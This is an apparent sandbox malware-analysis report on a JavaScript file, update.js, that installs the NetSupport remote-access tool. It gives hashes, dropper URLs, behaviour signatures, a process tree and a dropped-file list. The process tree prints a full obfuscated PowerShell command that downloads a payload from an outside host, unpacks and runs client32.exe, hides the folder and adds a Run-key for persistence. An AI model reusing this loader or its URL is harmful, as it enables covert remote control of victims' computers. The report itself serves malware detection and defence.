Analysis

  • max time kernel
    605s
  • max time network
    1748s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-02-2024 20:21

General

  • Target

    update.js

  • Size

    350KB

  • MD5

    1cc37e540105a888cbe50d8d81b09e27

  • SHA1

    0e2701afb1ba6050508dd7a4ecfc6fe3266ca9e2

  • SHA256

    d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1

  • SHA512

    2ed4db91e1e59c17966de8cbe12dd6b830e9f6756d7e98a8d525597252db393e843fdba82e17e0403b77416393ac3059a58f3d954985ab56e23b156ae4b981b1

  • SSDEEP

    6144:QY/j8teY/j8teY/j8tMY/j8t8Y/j8teY/j8teY/j8tWY/j8teY/j8teY/j8tQ:QYwteYwteYwtMYwt8YwteYwteYwtWYwW

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ghostcitygames.com/data.php?6937

exe.dropper

https://ghostcitygames.com/data.php?6937

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1700
      • C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:968

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qv3cwjt0.z04.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\DIVX564\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\Roaming\DIVX564\MSVCR100.dll

    Filesize

    366KB

    MD5

    97f886815bc7406255ec08a3d4485c07

    SHA1

    f6f6e2df3079a586b83435a6a7fb2e229bd0980e

    SHA256

    093241f3dc43cd8da79aa9bd179d8e9b3fe25968aa0714406fe7c499f14e5270

    SHA512

    718f87e456447442c74379968e3abe734ea66dd460238fb9cf9869ea0d12193a219d2eec01398804e24ccca392dc7f85508b48931f3f0bb3cc0634a01cfa2c93

  • C:\Users\Admin\AppData\Roaming\DIVX564\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\Roaming\DIVX564\PCICHEK.DLL

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • C:\Users\Admin\AppData\Roaming\DIVX564\PCICL32.DLL

    Filesize

    685KB

    MD5

    050e7430a9b6d02b979f72b8314e77ac

    SHA1

    a3cba20a4ecc1dbb844ace2ea84a8c92acd19254

    SHA256

    c92ec3058b412754bd1733db26787a12f43e05fcfb266041d8f7146db9c66655

    SHA512

    b3393a89f8b722efaf499cbc5783013e542d6b32555a7c1639c8b6a36ac5691df39eabf6025bb0ae6f8769e60f1e0118205e5f81c1eecc0ab7bd79385dfd1f0d

  • C:\Users\Admin\AppData\Roaming\DIVX564\PCICL32.dll

    Filesize

    497KB

    MD5

    c9fcf40afdacef88cdc9b19cfc8816e2

    SHA1

    33aa62faef55a8d487ea360bb1f6d034baff7251

    SHA256

    37192862a8a143c264353b1e0590d0c5f106bd87a261b884578036c61ff0ef86

    SHA512

    8ff79573029a0386b9a27227800740dd473b119a05a0cbaa3daecdc9f442af8c83734ac68b40030517f03f0344668afe5f5e11a42835f45687ff2e7505e6fa47

  • C:\Users\Admin\AppData\Roaming\DIVX564\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\Roaming\DIVX564\client32.ini

    Filesize

    701B

    MD5

    98043670d8c850e878e333312fcfa25a

    SHA1

    dc795e8b906d70ee5854a6797e0c1557375bc443

    SHA256

    0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

    SHA512

    13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

  • C:\Users\Admin\AppData\Roaming\DIVX564\msvcr100.dll

    Filesize

    404KB

    MD5

    90374446d87c00de5565448622e6604d

    SHA1

    bb4ca20c1c5d9e77cffed5d9c5fe84ad1fa93eee

    SHA256

    f40fee2991c35c6c12c49968f23d66c3b74f36bf27cbf1bfa193056302e20217

    SHA512

    179dd00cd5fa236a1a4a55c16f6a846e1efa34f43d1eb6a54cb982a785f0f412a4d113eddb15fe675aa66c3d6cccd15648741a077f035f55e36b6524e93f1e36

  • C:\Users\Admin\AppData\Roaming\DIVX564\msvcr100.dll

    Filesize

    485KB

    MD5

    4b8a85f618827549451e2f3d9637f7be

    SHA1

    7a9a315ed333f80e0dd4c955a72544e12e76e571

    SHA256

    457b93f151da3d5c6bfc9868f37965266d12167ec58eedcc395941fc41dd816d

    SHA512

    1984b0e14c6441d57c1dd4017f1a4d1ca11ca5d455a5395ffc7800ca27e03e9c3fed3b540c943fc11f124adbee584d40d33405f61c25cf6d4466e5a5775069b9

  • C:\Users\Admin\AppData\Roaming\DIVX564\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • memory/1700-82-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp

    Filesize

    10.8MB

  • memory/1700-14-0x0000020258970000-0x000002025897A000-memory.dmp

    Filesize

    40KB

  • memory/1700-15-0x00000202589A0000-0x00000202589B2000-memory.dmp

    Filesize

    72KB

  • memory/1700-11-0x00000202589C0000-0x00000202589D0000-memory.dmp

    Filesize

    64KB

  • memory/1700-12-0x00000202589C0000-0x00000202589D0000-memory.dmp

    Filesize

    64KB

  • memory/1700-10-0x00007FFCE3080000-0x00007FFCE3B41000-memory.dmp

    Filesize

    10.8MB

  • memory/1700-9-0x0000020258920000-0x0000020258942000-memory.dmp

    Filesize

    136KB